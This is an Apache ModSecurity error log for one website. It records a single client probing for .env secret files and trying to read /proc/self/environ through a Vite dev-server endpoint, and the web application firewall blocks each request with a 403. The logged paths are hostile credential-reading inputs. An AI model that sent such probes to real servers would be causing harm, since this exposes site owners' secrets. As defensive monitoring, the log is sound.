[Sun Oct 25 14:01:41.252609 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at5EBfwFw76qlSfceadvcgAAAAA"]
[Sun Oct 25 14:01:41.253027 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at5EBfwFw76qlSfceadvcgAAAAA"]
[Sun Oct 25 14:01:41.253261 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at5EBfwFw76qlSfceadvcgAAAAA"]
[Sun Oct 25 14:01:41.258560 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5EBe6EytsuoC67cD91gwAAAAE"]
[Sun Oct 25 14:01:41.259056 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5EBe6EytsuoC67cD91gwAAAAE"]
[Sun Oct 25 14:01:41.259283 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5EBe6EytsuoC67cD91gwAAAAE"]
[Sun Oct 25 14:01:41.260510 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at5EBbc82c1J4zoyxalWmAAAAAI"]
[Sun Oct 25 14:01:41.260928 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at5EBbc82c1J4zoyxalWmAAAAAI"]
[Sun Oct 25 14:01:41.261146 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at5EBbc82c1J4zoyxalWmAAAAAI"]
[Sun Oct 25 14:01:41.269001 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBYIGIq5euXyTbvT1MAAAACQ"]
[Sun Oct 25 14:01:41.269299 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBYIGIq5euXyTbvT1MAAAACQ"]
[Sun Oct 25 14:01:41.269543 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBYIGIq5euXyTbvT1MAAAACQ"]
[Sun Oct 25 14:01:41.269580 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBYIGIq5euXyTbvT1MAAAACQ"]
[Sun Oct 25 14:01:41.269602 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBYIGIq5euXyTbvT1MAAAACQ"]
[Sun Oct 25 14:01:41.270755 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at5EBVY5e6yJWIYGXiqD4gAAAAk"]
[Sun Oct 25 14:01:41.271258 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at5EBVY5e6yJWIYGXiqD4gAAAAk"]
[Sun Oct 25 14:01:41.271636 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at5EBVY5e6yJWIYGXiqD4gAAAAk"]
[Sun Oct 25 14:01:41.272695 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBf1CbQghwAu-zzMCOQAAACA"]
[Sun Oct 25 14:01:41.273098 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBf1CbQghwAu-zzMCOQAAACA"]
[Sun Oct 25 14:01:41.273339 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBf1CbQghwAu-zzMCOQAAACA"]
[Sun Oct 25 14:01:41.274425 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5EBfwFw76qlSfceadvcwAAAAA"]
[Sun Oct 25 14:01:41.274741 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5EBfwFw76qlSfceadvcwAAAAA"]
[Sun Oct 25 14:01:41.274965 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5EBfwFw76qlSfceadvcwAAAAA"]
[Sun Oct 25 14:01:41.276069 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5EBRfmy5DaFfyE01WrHgAAABE"]
[Sun Oct 25 14:01:41.276456 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5EBRfmy5DaFfyE01WrHgAAABE"]
[Sun Oct 25 14:01:41.276699 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5EBRfmy5DaFfyE01WrHgAAABE"]
[Sun Oct 25 14:01:41.277793 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5EBe6EytsuoC67cD91hAAAAAE"]
[Sun Oct 25 14:01:41.278065 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5EBe6EytsuoC67cD91hAAAAAE"]
[Sun Oct 25 14:01:41.278312 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5EBe6EytsuoC67cD91hAAAAAE"]
[Sun Oct 25 14:01:41.280769 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBbc82c1J4zoyxalWmQAAAAI"]
[Sun Oct 25 14:01:41.281305 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBbc82c1J4zoyxalWmQAAAAI"]
[Sun Oct 25 14:01:41.281577 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBbc82c1J4zoyxalWmQAAAAI"]
[Sun Oct 25 14:01:41.283522 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5EBROIqc1eRNCRH2cpAQAAAAc"]
[Sun Oct 25 14:01:41.283917 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5EBROIqc1eRNCRH2cpAQAAAAc"]
[Sun Oct 25 14:01:41.284181 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5EBROIqc1eRNCRH2cpAQAAAAc"]
[Sun Oct 25 14:01:41.285268 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5EBaYYcNPV1bnoekNX6gAAAAQ"]
[Sun Oct 25 14:01:41.285632 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5EBaYYcNPV1bnoekNX6gAAAAQ"]
[Sun Oct 25 14:01:41.285852 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5EBaYYcNPV1bnoekNX6gAAAAQ"]
[Sun Oct 25 14:01:41.286930 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5EBSjnAS4eJh-ada2NFwAAAA0"]
[Sun Oct 25 14:01:41.287337 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5EBSjnAS4eJh-ada2NFwAAAA0"]
[Sun Oct 25 14:01:41.287687 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5EBSjnAS4eJh-ada2NFwAAAA0"]
